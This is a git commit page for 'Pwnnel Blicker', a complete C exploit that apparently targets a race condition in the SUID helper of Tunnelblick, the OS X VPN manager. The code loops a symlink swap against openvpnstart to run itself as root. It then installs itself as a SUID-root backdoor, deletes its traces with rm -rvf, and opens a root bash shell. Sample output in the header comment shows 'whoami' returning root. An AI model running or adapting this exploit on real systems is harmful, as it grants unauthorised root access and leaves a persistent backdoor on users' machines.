summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorJason A. Donenfeld <Jason@zx2c4.com>2012-08-11 09:08:34 +0200
committerJason A. Donenfeld <Jason@zx2c4.com>2012-08-11 09:08:34 +0200
commit2bad53d2f6d0b4ccc0388fa2fffbb6b254e3e147 (patch)
tree2a0d497bda5d63c19d7b4dbbe0e9c5b88143dae9
downloadPwnnel-Blicker-2bad53d2f6d0b4ccc0388fa2fffbb6b254e3e147.tar.xz
Pwnnel-Blicker-2bad53d2f6d0b4ccc0388fa2fffbb6b254e3e147.zip
Initial commit of exploit.
-rwxr-xr-xpwnnel-blicker.c132
-rw-r--r--screenshot.ogvbin0 -> 1305900 bytes
2 files changed, 132 insertions, 0 deletions
diff --git a/pwnnel-blicker.c b/pwnnel-blicker.c
new file mode 100755
index 0000000..a00c35e
--- /dev/null
+++ b/pwnnel-blicker.c
@@ -0,0 +1,132 @@
+/*
+ * ==== Pwnnel Blicker ====
+ * = =
+ * = zx2c4 =
+ * = =
+ * ========================
+ *
+ * Tunnel Blicker, a widely used OpenVPN manager for OSX
+ * comes with a nice SUID executable that has more holes
+ * than you care to count. It's a treasure chest of local
+ * roots. I picked one that looked interesting, and here
+ * we have Pwnnel Blicker.
+ *
+ * Tunnel Blicker will run any executable that has 744
+ * permissions and is owned by root:root. Probably we
+ * could find a way to exploit an already existing 744
+ * executable, but this would be too easy. So instead, we
+ * take advantage of a race condition between checking the
+ * file permissions on the executable and actually running
+ * it.
+ *
+ * Usage:
+ * $ ./a.out
+ * [+] Creating vulnerable directory.
+ * /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk
+ * /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk/Contents
+ * /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk/Contents/Resources
+ * [+] Writing pid and executing vulnerable program.
+ * [+] Running toggler.
+ * [+] Making backdoor.
+ * [+] Cleaning up.
+ * /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk/Contents/Resources/../../..//pwnage.tblk/Contents/Resources/exploit.pid
+ * [+] Complete. Run this again to get root.
+ * Killed: 9
+ *
+ * $ ./a.out
+ * [+] Getting root.
+ * # whoami
+ * root
+ *
+ */
+
+
+#include <unistd.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <string.h>
+#include <sys/stat.h>
+
+int main(int argc, char *argv[])
+{
+ char dir[512];
+ char script[512];
+ char command[512];
+ char pid_file[512];
+ char path[512];
+ char self[512];
+ uint32_t size;
+ pid_t pid, pid2;
+ FILE *file;
+
+ snprintf(dir, sizeof(dir), "%s/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk/Contents/Resources", getenv("HOME"));
+ snprintf(pid_file, sizeof(pid_file), "%s/exploit.pid", dir);
+
+ /* Oh god, do I miss /proc/self/exe. */
+ if (getenv("PWNPATH"))
+ strcpy(self, getenv("PWNPATH"));
+ else {
+ size = sizeof(path);
+ _NSGetExecutablePath(path, &size);
+ realpath(path, self);
+ setenv("PWNPATH", self, 1);
+ }
+
+ if (!geteuid()) {
+ file = fopen(pid_file, "r");
+ if (file) {
+ printf("[+] Making backdoor.\n");
+ chown(self, 0, 0);
+ chmod(self, S_ISUID | S_IXOTH);
+
+ printf("[+] Cleaning up.\n");
+ fscanf(file, "%d %d", &pid, &pid2);
+ fclose(file);
+ snprintf(command, sizeof(command), "rm -rvf '%s/../../../'", dir);
+ system(command);
+
+ printf("[+] Complete. Run this again to get root.\n");
+ kill(pid2, 9);
+ kill(pid, 9);
+ return 0;
+ }
+ printf("[+] Getting root.\n");
+ setuid(0);
+ setgid(0);
+ execl("/bin/bash", "bash", NULL);
+ }
+
+
+ printf("[+] Creating vulnerable directory.\n");
+ snprintf(command, sizeof(command), "mkdir -p -v '%s'", dir);
+ system(command);
+
+ pid = fork();
+ if (!pid) {
+ printf("[+] Running toggler.\n");
+ snprintf(script, sizeof(script), "%s/connected.sh", dir);
+ for (;;) {
+ unlink(script);
+ symlink("/Applications/Tunnelblick.app/Contents/Resources/client.down.tunnelblick.sh", script);
+ unlink(script);
+ symlink(self, script);
+ }
+ } else {
+ printf("[+] Writing pid and executing vulnerable program.\n");
+ file = fopen(pid_file, "w");
+ fprintf(file, "%d %d", pid, getpid());
+ fclose(file);
+ for (;;) {
+ if (fork())
+ wait(NULL);
+ else {
+ close(0);
+ close(2);
+ execl("/Applications/Tunnelblick.app/Contents/Resources/openvpnstart", "openvpnstart", "connected", "pwnage.tblk", "0", NULL);
+ }
+ }
+ }
+
+ return 0;
+}
diff --git a/screenshot.ogv b/screenshot.ogv
new file mode 100644
index 0000000..305d3bc
--- /dev/null
+++ b/screenshot.ogv
Binary files differ